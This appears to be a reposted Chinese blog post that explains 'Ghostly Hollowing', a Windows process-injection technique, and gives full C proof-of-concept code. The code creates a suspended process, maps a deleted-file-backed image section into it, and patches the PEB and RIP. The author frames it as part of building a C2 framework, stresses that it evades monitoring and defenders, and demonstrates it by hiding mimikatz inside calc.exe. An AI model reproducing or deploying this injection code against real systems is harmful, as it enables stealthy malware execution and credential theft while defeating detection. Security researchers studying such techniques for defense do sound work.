Ghostly Hollowing——可能是我所知道的最奇怪的 Windows 进程注入技术

来源:TVTropes

这个标题一点也不夸张。我当时正在研究可以在我的 C2 --- Hydrangea中使用的远程进程注入技术。就在那时,我遇到了 Ghostly Hollowing。

什么是 Ghostly Hollowing?

文件映射对象及其怪异之处

"文件映射对象"是可以在磁盘和内存之间同步数据的东西。

举个例子,假设一个进程想要将文件的内容加载到其内存中,这样当它写入该内存时,文件内容也会得到类似的修改。此外,假设还有第二个进程想要做同样的事情。文件映射对象会为您完成繁重的工作,确保文件的内容和两个进程中的内存保持同步(相同),无论谁读取/写入它。在这种情况下,文件映射对象被称为"由磁盘(文件)支持"。

这是我的问题。按照上述逻辑,如果您创建一个由磁盘上的文件支持的文件映射对象,然后删除该文件,然后尝试从内存中读取其内容,它应该会失败,对吗?毕竟,它是由文件支持的,而现在文件本身已经消失了。所以它失败了,是吗?

不,不是。内容不仅保留,而且您现在还可以将其映射到任何进程的 VA 空间。这就是"幽灵空洞"中的"幽灵"。

流程空心化

顾名思义,就是挖空一个进程,创建一个空间。然后把您自己的可执行映像放入该空间,并让进程执行它。本质上,您只是将一个 EXE 映像注入另一个 EXE 映像中。当进程监控软件查看此内容时,它们仍然会看到原始 EXE,而不知道另一个内部 EXE 正在其中运行。

"挖空"并不总是需要挖空一个进程。其目的是将您自己的 EXE 映像注入进程,并将执行重定向到该进程,对吗?您可以在不删除实际 EXE 映像的情况下实现此目的。这更隐蔽,因为显示原始映像远比不显示任何映像更不可疑。

幽灵 + 空心?

这个想法很简单。

首先,创建一个"幽灵文件映射对象",由当前已删除的 EXE 支持。然后将其映射到目标进程。此映射内存不会显示与文件的链接,因为该文件不存在。这会隐藏 EXE 名称。

其次,劫持目标进程,并将其执行重定向到上面刚刚注入(映射)的内部 EXE 映像。

编写 POC

让我们一步一步地建设性地解决这个问题。以下各节仅提及相关代码。完整的 POC 在最后。

创建新流程

理论上,你可以注入任何进程。在我的演示中,我选择了一个新进程。注入现有进程可能会停止某些重要进程并提醒我们的蓝队伙伴。

理想情况下,我们希望从目标进程捕获 STDOUT 和 STDERR,以防我们注入控制台应用程序。您会注意到,在下面的代码中,我为此设置了一个匿名管道--- 目标进程写入管道,而我的进程从中读取。确保进程使用CREATE_NEW_CONSOLE标志启动,否则它将获取父级的控制台。

如果注入的 EXE 需要命令行参数,它将查找进程的 PEB,其中包含提供给原始 EXE 的命令行。因此,假设您要启动mimikatz.exe coffee。您实际上必须启动的是benign_process.exe coffee

最后,新进程必须以挂起模式创建,这样我们才能在它启动之前劫持它。我们也可以通过挂起任何线程来劫持正在运行的进程。在这种情况下,我根本不想让原始 EXE 运行。

sql 复制代码
BOOL CreateLegitProcess(IN PWCHAR imagePath, IN PWCHAR commandLineArgs, OUT PPROCESS_INFORMATION pProcessInformation, IN OUT PHANDLE phStdoutRead, IN OUT PHANDLE phStdoutWrite) {    // Initialise    BOOL isSuccess = FALSE;    DWORD imagePathLen = 0;    DWORD commandLineArgsLen = 0;    PWCHAR pCommandLine = NULL;        // Create startup info    STARTUPINFOW startupInfo;    RtlZeroMemory(&startupInfo, sizeof(STARTUPINFOW));    startupInfo.cb = sizeof(STARTUPINFOW);    //// Create anonymous pipe to capture STDOUT from process    SECURITY_ATTRIBUTES secAttr;    RtlZeroMemory(&secAttr, sizeof(SECURITY_ATTRIBUTES));    secAttr.nLength = sizeof(SECURITY_ATTRIBUTES);    secAttr.bInheritHandle = TRUE;    secAttr.lpSecurityDescriptor = NULL;    if (!CreatePipe(phStdoutRead, phStdoutWrite, &secAttr, 0)) goto CLEANUP;    if (*phStdoutRead == NULL || *phStdoutWrite == NULL) goto CLEANUP;    startupInfo.hStdOutput = *phStdoutWrite;    startupInfo.hStdError = *phStdoutWrite;    startupInfo.dwFlags |= STARTF_USESTDHANDLES;    // Create process    imagePathLen = lstrlenW(imagePath);    commandLineArgsLen = lstrlenW(commandLineArgs);    pCommandLine = (PWCHAR)HeapAlloc(        GetProcessHeap(),        HEAP_ZERO_MEMORY,        (1 + imagePathLen + 1 + 1 + commandLineArgsLen + 1) * sizeof(WCHAR) // "imagePath" arg1    );    if (pCommandLine == NULL) goto CLEANUP;    lstrcatW(pCommandLine, L""");    lstrcatW(pCommandLine, imagePath);    lstrcatW(pCommandLine, L"" ");    lstrcatW(pCommandLine, commandLineArgs);    if(!CreateProcessW(        imagePath,        pCommandLine,        NULL,        NULL,        TRUE,        CREATE_NEW_CONSOLE | CREATE_SUSPENDED,        NULL,        L"C:\Windows\System32",        &startupInfo,        pProcessInformation    )) goto CLEANUP;    // If execution reaches here, all went fine    isSuccess = TRUE;CLEANUP:    // Close write handles; child has already inherited them above    if(*phStdoutWrite != NULL)        CloseHandle(*phStdoutWrite);    if (pCommandLine != NULL)        HeapFree(GetProcessHeap(), 0, pCommandLine);    return isSuccess;}

创建 Ghost 文件映射对象

现在到了最有趣的部分------创建一个幽灵文件映射对象。

我们将首先创建一个临时的空白文件,并用要注入的 EXE 的内容填充它。除了读/写权限之外,我们还必须使用DELETESYNCHRONIZE权限打开它,这样我们才能使用相同的文件句柄实际删除它。对于删除,我希望在关闭文件句柄时完成。为此,FILE_FLAG_DELETE_ON_CLOSE使用了。但这要等待进程关闭。由于我们希望立即删除它,我们还将设置删除的处置信息。

然后我们将创建文件映射对象,由上述临时 EXE 文件支持。该SEC_IMAGE标志用于指定我们尝试加载的是 PE 映像。这将加载我们的 PE 并将其正确放置在内存中,并使其可执行。如果有东西从内核回调中读取此事件,则此加载不是隐秘的。

然后我们关闭文件句柄。这将删除 EXE 文件,但文件映射对象仍然有效。然后我们用它将 EXE 内容映射到新的目标进程。

vbscript 复制代码
BOOL CreateGhostSection(IN LPVOID pPePayload, IN DWORD pePayloadSize, IN HANDLE hTargetProcess, OUT VOID **ppPePayloadInTargetBaseAddress) {    // Initialise    BOOL isSuccess = FALSE;    HANDLE hTempFile = NULL;    DWORD bytesWritten = 0;    HANDLE hFileMapping = NULL;    WCHAR tempFile[MAX_PATH] = L"";    WCHAR tempDir[MAX_PATH] = L"";    // Create temporary file    if (GetTempPath2W(MAX_PATH, tempDir) == 0) goto CLEANUP;    if (GetTempFileNameW(tempDir, L"", 0, tempFile) == 0) goto CLEANUP;    // Open handle to it    hTempFile = CreateFileW(        tempFile,        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,        0,        NULL,        OPEN_EXISTING,        FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,        NULL    );    if (hTempFile == NULL) goto CLEANUP;    // Set file to be deleted    FILE_DISPOSITION_INFO fileDispositionInfo;    fileDispositionInfo.DeleteFileW = TRUE;    if(!SetFileInformationByHandle(        hTempFile,        FILE_INFO_BY_HANDLE_CLASS::FileDispositionInfo,        &fileDispositionInfo,        sizeof(FILE_DISPOSITION_INFO)    )) goto CLEANUP;    // Write PE payload to the file    WriteFile(        hTempFile,        pPePayload,        pePayloadSize,        &bytesWritten,        NULL    );    if (bytesWritten != pePayloadSize) goto CLEANUP;    if(!FlushFileBuffers(hTempFile)) goto CLEANUP;    // Create section backed by the file    hFileMapping = CreateFileMappingW(        hTempFile,        NULL,        PAGE_READONLY | SEC_IMAGE,        0,        0,        NULL    );    if (hFileMapping == NULL) goto CLEANUP;    // Close file handle    CloseHandle(hTempFile);    hTempFile = NULL;    // Map PE contents to target process    *ppPePayloadInTargetBaseAddress = MapViewOfFile2(        hFileMapping,        hTargetProcess,        0,        NULL,        0,        0,        PAGE_READONLY    );    if (*ppPePayloadInTargetBaseAddress == NULL) goto CLEANUP;    // If execution reaches here, all went well    isSuccess = TRUE;    // CleanupCLEANUP:    if (hFileMapping != NULL)        CloseHandle(hFileMapping);    //// Return success status    return isSuccess;}

劫持新流程

目标现已准备好被劫持。需要做两件事------

  • 修补基地址 --- ASLR 会导致模块加载到不可预测的基地址。为了解决这个问题,EXE 包含重定位数据,加载器使用这些数据来正确修补相对于随机基地址的地址。手动重定位非常麻烦。相反,我们将PEB 中的基地址(官方未记录)修补到我们注入 EXE 的地址。我们的 EXE 现在就是基地址!无需重定位。RDX 寄存器将地址存储到 PEB。
  • 修补指令指针 --- 我们设置主线程的上下文,以便更新 RIP 寄存器。我们必须使其指向我们注入的 EXE 的入口点地址。为此,我们将解析我们的 EXE 并从 NT 标头中的 Optional 标头中找出入口点 RVA。如果这看起来令人困惑,请阅读我之前关于从头开始编写 PE 加载器的帖子。
复制代码
 
scss 复制代码
BOOL HijackProcessExecution(HANDLE hTargetProcess, HANDLE hTargetThread, LPVOID addressOfEntryPoint, LPVOID addressOfImageBase) {    // Get main thread context    CONTEXT targetThreadContext;    RtlZeroMemory(&targetThreadContext, sizeof(CONTEXT));    targetThreadContext.ContextFlags = CONTEXT_ALL;    if(!GetThreadContext(hTargetThread, &targetThreadContext)) return FALSE;    // Patch PEB's BaseAddress    PPEB_DETAILED pPeb = (PPEB_DETAILED)(targetThreadContext.Rdx);    DWORD64 numOfBytesWrittenPatchPeb = 0;    if (!WriteProcessMemory(        hTargetProcess,        &(pPeb->ImageBaseAddress),        &addressOfImageBase,        sizeof(addressOfImageBase),        &numOfBytesWrittenPatchPeb    ) || numOfBytesWrittenPatchPeb != sizeof(LPVOID))        return FALSE;    // Patch RIP to point to Entry point    targetThreadContext.Rip = (DWORD64)addressOfEntryPoint;    if(!SetThreadContext(hTargetThread, &targetThreadContext)) return FALSE;    // Resume process    return (ResumeThread(hTargetThread) == 1);}

演示

进程重影演示

我运行了我的 POC 进行注入和执行mimikatz.execalc.exe我知道牺牲过程有更好的选择;记住这是一个演示;)

观察 1.4 MB 图像内存(蓝色突出显示)在"使用"列中显示空白。对于其他图像,它显示加载模块的路径。您甚至可以看到原始calc.exe模块仍在加载。但执行现在已移至此未命名的图像内存。这是 mimikatz!

参考

github.com/haidragon

gitee.com/haidragon

公众号:安全狗的自我修养

bilibili:haidragonx

相关推荐
2301_7807896613 小时前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
嘉里蓝海13 小时前
我在嘉顺达蓝海的安全坚守
安全
你的人类朋友15 小时前
认识一下Bcrypt哈希算法
后端·安全·程序员
Coovally AI模型快速验证19 小时前
基于YOLO集成模型的无人机多光谱风电部件缺陷检测
人工智能·安全·yolo·目标跟踪·无人机
夏天的风9921 小时前
本地部署PLM系统,如何用 ZeroNews 实现远程访问?
安全·远程工作
wanhengidc21 小时前
高性价比云手机挑选指南
运维·网络·安全·游戏·智能手机
拉法豆粉1 天前
三方软件测试可移植性测试哪些内容
数据库·安全
午夜游鱼1 天前
Go 泛型实战:一行代码封装 sync.Pool,性能与安全兼得
开发语言·安全·golang
半桔1 天前
【Linux手册】信号量与建造者模式:以 PV 操作保证并发安全,分步组装构建复杂对象
linux·运维·安全·建造者模式
网络之路Blog1 天前
【实战中提升自己完结篇】分支篇之分支之无线、内网安全与QOS部署(完结)
网络协议·安全·网络之路一天·华为华三数通基础·网络设备管理·华为华三二三层交换机对接